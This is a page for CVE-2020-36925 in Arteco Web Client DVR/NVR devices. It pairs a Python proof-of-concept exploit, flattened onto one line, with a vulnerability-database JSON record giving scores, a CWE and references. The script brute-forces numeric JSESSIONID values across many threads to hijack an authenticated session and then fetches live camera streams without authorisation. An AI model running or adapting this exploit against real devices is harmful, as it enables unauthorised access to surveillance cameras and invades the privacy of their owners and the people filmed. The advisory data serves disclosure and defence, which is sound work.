CVE-2020-36925

import requests import itertools from concurrent.futures import ThreadPoolExecutor # CVE-2020-36925 PoC - Arteco DVR/NVR Session Hijacking # Target: Arteco Web Client DVR/NVR # Vulnerability: Insufficient session ID complexity TARGET_URL = "http://target-arteco-device:8080" SESSION_COOKIE_NAME = "JSESSIONID" SESSION_ID_RANGE = range(100000, 200000) # Example range def create_session(): """Create initial session and get base session ID""" try: response = requests.get(f"{TARGET_URL}/login", timeout=10) if SESSION_COOKIE_NAME in response.cookies: return response.cookies[SESSION_COOKIE_NAME] except Exception as e: print(f"Session creation failed: {e}") return None def test_session(session_id): """Test if session ID is valid by accessing protected resource""" try: cookies = {SESSION_COOKIE_NAME: session_id} response = requests.get( f"{TARGET_URL}/api/cameras/live", cookies=cookies, timeout=5 ) if response.status_code == 200 and "cameras" in response.text: return session_id, True except: pass return session_id, False def bruteforce_session(): """Bruteforce session IDs to find valid session""" print(f"[*] Creating initial session...") base_session = create_session() if base_session: print(f"[+] Base session ID: {base_session}") print(f"[*] Starting session ID bruteforce...") with ThreadPoolExecutor(max_workers=20) as executor: futures = [executor.submit(test_session, sid) for sid in SESSION_ID_RANGE] for future in futures: sid, is_valid = future.result() if is_valid: print(f"[!] VALID SESSION FOUND: {sid}") return sid print("[-] No valid session found") return None def access_camera_stream(session_id): """Access live camera stream with hijacked session""" cookies = {SESSION_COOKIE_NAME: session_id} response = requests.get( f"{TARGET_URL}/api/cameras/live", cookies=cookies ) print(f"[*] Camera stream response: {response.status_code}") return response.json() if __name__ == "__main__": valid_session = bruteforce_session() if valid_session: print(f"[+] Exploiting valid session: {valid_session}") access_camera_stream(valid_session)

{"cve": {"id": "CVE-2020-36925", "sourceIdentifier": "[email protected]", "published": "2026-01-06T16:15:50.683", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Arteco Web Client DVR/NVR contains a session hijacking vulnerability with insufficient session ID complexity that allows remote attackers to bypass authentication. Attackers can brute force session IDs within a specific numeric range to obtain valid sessions and access live camera streams without authorization."}, {"lang": "es", "value": "Arteco Web Client DVR/NVR contiene una vulnerabilidad de secuestro de sesión con complejidad de ID de sesión insuficiente que permite a atacantes remotos eludir la autenticación. Los atacantes pueden forzar por fuerza bruta los IDs de sesión dentro de un rango numérico específico para obtener sesiones válidas y acceder a transmisiones de cámaras en vivo sin autorización."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-331"}]}], "references": [{"url": "https://cxsecurity.com/issue/WLB-2020120170", "source": "[email protected]"}, {"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/193750", "source": "[email protected]"}, {"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/194139", "source": "[email protected]"}, {"url": "https://packetstorm.news/files/id/160718", "source": "[email protected]"}, {"url": "https://www.arteco-global.com", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/49348", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/arteco-web-client-dvrnvr-session-id-brute-force-authentication-bypass", "source": "[email protected]"}, {"url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5613.php", "source": "[email protected]"}]}}